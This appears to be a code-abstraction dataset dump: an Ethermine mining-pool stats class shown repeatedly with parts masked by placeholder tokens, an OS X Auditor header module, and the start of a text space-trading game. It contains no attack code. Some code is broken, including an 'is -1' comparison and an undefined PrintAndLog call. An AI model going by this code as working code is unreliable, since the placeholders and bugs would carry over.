get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n <function token>\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n <function token>\n <function token>\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<docstring token>\n<class token>\n"
] | false |
9,959 |
547d67bce7eb05e55e02c73a22342ca572e89f39
|
import os
import log
import core
import time
__description__ = 'OS X Auditor'
__author__ = 'Atarimaster & @Jipe_'
__version__ = '0.5.0'
ROOT_PATH = '/'
Euid = str(os.geteuid())
Egid = str(os.getegid())
def generate_header():
header = {}
# Description(Audited By)
description = "Report generated by " + __description__ + " v" + __version__ + " on " + time.strftime('%x %X %Z') + " running as " + Euid + "/" + Egid
header['description'] = description
# Audited Path
audit_path = "Audited system path: " + ROOT_PATH.decode("utf-8")
header['audit_path'] = audit_path
# System Version
AuditedSystemVersion = GetAuditedSystemVersion()
sysv = "Version of the audited system: " + AuditedSystemVersion
header['system_version'] = sysv
# Current Timezone
Timezone = GetAuditedSystemTimezone()
tz = "Current timezone of the audited system: " + Timezone
header['timezone'] = tz
return header
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = "Unknown system version"
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist("/System/Library/CoreServices/SystemVersion.plist")
if SystemVersionPlist:
if "ProductName" in SystemVersionPlist: SysVersion = SystemVersionPlist["ProductName"]
if "ProductVersion" in SystemVersionPlist: SysVersion += " " + SystemVersionPlist["ProductVersion"]
if "ProductBuildVersion" in SystemVersionPlist: SysVersion += " build " + SystemVersionPlist["ProductBuildVersion"]
OSX_VERSION = {
"ProductBuildVersion": SystemVersionPlist["ProductBuildVersion"],
"ProductVersion": SystemVersionPlist["ProductVersion"],
"MajorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[0]),
"MinorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[1]),
"PatchVersion": int(SystemVersionPlist["ProductVersion"].split('.')[2])
}
else:
log.PrintAndLog(u"Cannot determine the system version", "ERROR")
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, "etc/localtime"))
Timezone = Timezone.split("/")
except Exception as e:
PrintAndLog(u"Cannot read the timezone" + str(e.args).decode("utf-8"), "ERROR")
return Timezone[-2] + "/" + Timezone[-1]
|
[
"import os\nimport log\nimport core\nimport time\n\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\n\nROOT_PATH = '/'\n\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\ndef generate_header():\n header = {}\n\n # Description(Audited By)\n description = \"Report generated by \" + __description__ + \" v\" + __version__ + \" on \" + time.strftime('%x %X %Z') + \" running as \" + Euid + \"/\" + Egid\n header['description'] = description\n\n # Audited Path\n audit_path = \"Audited system path: \" + ROOT_PATH.decode(\"utf-8\")\n header['audit_path'] = audit_path\n\n # System Version\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = \"Version of the audited system: \" + AuditedSystemVersion\n header['system_version'] = sysv\n\n # Current Timezone\n Timezone = GetAuditedSystemTimezone()\n tz = \"Current timezone of the audited system: \" + Timezone\n header['timezone'] = tz\n\n return header\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n\n SysVersion = \"Unknown system version\"\n SystemVersionPlist = False\n\n SystemVersionPlist = core.UniversalReadPlist(\"/System/Library/CoreServices/SystemVersion.plist\")\n\n if SystemVersionPlist:\n if \"ProductName\" in SystemVersionPlist: SysVersion = SystemVersionPlist[\"ProductName\"]\n if \"ProductVersion\" in SystemVersionPlist: SysVersion += \" \" + SystemVersionPlist[\"ProductVersion\"]\n if \"ProductBuildVersion\" in SystemVersionPlist: SysVersion += \" build \" + SystemVersionPlist[\"ProductBuildVersion\"]\n\n OSX_VERSION = {\n \"ProductBuildVersion\": SystemVersionPlist[\"ProductBuildVersion\"],\n \"ProductVersion\": SystemVersionPlist[\"ProductVersion\"],\n \"MajorVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[0]),\n \"MinorVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[1]),\n \"PatchVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[2])\n }\n\n else:\n log.PrintAndLog(u\"Cannot determine the system version\", \"ERROR\")\n\n return SysVersion\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, \"etc/localtime\"))\n Timezone = Timezone.split(\"/\")\n except Exception as e:\n PrintAndLog(u\"Cannot read the timezone\" + str(e.args).decode(\"utf-8\"), \"ERROR\")\n\n return Timezone[-2] + \"/\" + Timezone[-1]",
"import os\nimport log\nimport core\nimport time\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\nROOT_PATH = '/'\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n",
"<import token>\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\nROOT_PATH = '/'\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n",
"<import token>\n<assignment token>\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n",
"<import token>\n<assignment token>\n<function token>\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n",
"<import token>\n<assignment token>\n<function token>\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\n<function token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,960 |
97611fef5faafe660c7640e4a5aec8456e52135c
|
'''
Created on 17.05.2018
@author: markus
'''
import Ship
import Player
import Planet
import random
from FighterShip import FighterShip
turnCounter = 0
def cleanScreen():
for i in range(0,50):
print("")
def spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower
while True:# loop
cleanScreen()
print("*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****")
playerFirepower = player.getTotalFirepower()
piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100))
if ((random.randint(0,playerFirepower) > playerFirepower/3) and
(random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)):
print("Damm, you got robbed by the pirates!")
print("You lost all your cargo and half your money!")
player.clearTech()
player.clearFood()
player.updateCargoUnits()
player.setCredits(player.getCredits()/2)
else:
print("Lucky you! Your fighters drove them off!")
print("**********************************************************")
input("Hit enter to continue")
break
def shipyardMenu(player, planet):
while True:# loop
cleanScreen()
print("*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****")
player.printStats()
print("**********************************************************")
shipList = planet.getShipyard()
print("Available Ships:")
print("**********************************************************")
i = 0
for s in shipList:
print("Nr.:"+str(i)+":"+s.toString())
i += 1
print("**********************************************************")
userInput = input("Enter the number you would like to by or x to leave:")
if (userInput == "x"):
break;
else:
ui = int(userInput)
if (ui <= i):
if(player.getCredits() > shipList[ui].getPrice()): #has enough money
if(type(shipList[ui]) == FighterShip):
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print("wrong number, try again ....")
def spacePortMenu(player, planet):
global turnCounter
while True:# loop
cleanScreen()
print("****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****")
print("Enter 1 to jump to a agri planet (risk 5%)")
print("Enter 2 to jump to a tech planet (risk 10%)")
print("Enter 3 to jump to a war planet (risk 20%)")
userInput = input("Or enter x to exit:")
risk = 0
if (userInput == "x"):
return planet
elif (userInput == "1"):
risk = 5
elif(userInput == "2"):
risk = 10
else:
risk = 20
if (random.randint(0,100) <= risk):
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:# loop
cleanScreen()
print("*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******")
player.printStats()
print("**********************************************************")
market = planet.getMarket()
print("Price for Food = ",market["Food"])
print("Price for Tech = ",market["Tech"])
print("**********************************************************")
userInput = input("Enter 1 for Food, 2 for Tech or x for exit:")
str =""
if (userInput == "1"):
str = "Food"
elif(userInput == "2"):
str= "Tech"
else:
break
print("**********************************************************")
max = 0
if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit?
max = player.freeCargoUnits
else:
max = int(player.getCredits()/market[str])
print("Price for "+str+" = ",market[str])
secondInput = input("Would you like to buy (enter b) or sell (enter s)?")
if (secondInput == "b"):#buying
print("You can buy a maximum of",max,"units")
nr = input("How much would you like to buy? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space
if (str == "Food"):
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str]*nr)
player.updateCargoUnits()
else:#selling
if (str == "Food"):
print("You can sell a maximum of",player.getFood(),"food units")
nr = input("How much would you like to sell? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if (nr <= player.getFood()):
player.sellFood(nr)
player.setCredits(player.getCredits() + nr*market["Food"])
else:
print("You can sell a maximum of",player.getTech(),"tech units")
nr = input("How much would you like to sell? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if (nr <= player.getTech()):
player.sellTech(nr)
player.setCredits(player.getCredits() + nr*market["Tech"])
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1,3))
while notFinished:#main game loop
cleanScreen()
if (player.getCredits() < 0):
print("Sorry, but you ran out of credits and therefore lost the game in round,",turnCounter,"!")
break
print("**********************************************************")
print("Turn nr.",turnCounter,"in this glorious space trading simulation")
player.printStats()
print("**********************************************************")
print("You are on Planet:",planet.getName())
print("**********************************************************")
print("Enter 1 to go to the shipyard")
print("Enter 2 to go to the market")
print("Enter 3 to go to the spaceport")
print("Enter exit to leave the game")
userinput = input("Your Input:")
if (userinput == "1"):
shipyardMenu(player, planet)
elif (userinput == "2"):
marketMenu(player, planet)
elif (userinput == "3"):
planet = spacePortMenu(player, planet)
else:
notFinished = False
print("***************************************")
print(" Welcome to StarSim")
print("***************************************")
name = input("Please enter your Name:")
player = Player.Player(name)
menu(player)
|
[
"'''\nCreated on 17.05.2018\n\n@author: markus\n'''\nimport Ship\nimport Player\nimport Planet\nimport random\nfrom FighterShip import FighterShip\n\nturnCounter = 0\n\ndef cleanScreen():\n for i in range(0,50):\n print(\"\")\n \ndef spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower\n while True:# loop\n cleanScreen()\n print(\"*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****\")\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100))\n if ((random.randint(0,playerFirepower) > playerFirepower/3) and \n (random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)):\n print(\"Damm, you got robbed by the pirates!\")\n print(\"You lost all your cargo and half your money!\")\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits()/2)\n else:\n print(\"Lucky you! Your fighters drove them off!\")\n print(\"**********************************************************\")\n input(\"Hit enter to continue\")\n break\n \n\ndef shipyardMenu(player, planet):\n while True:# loop\n cleanScreen()\n print(\"*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****\")\n player.printStats()\n 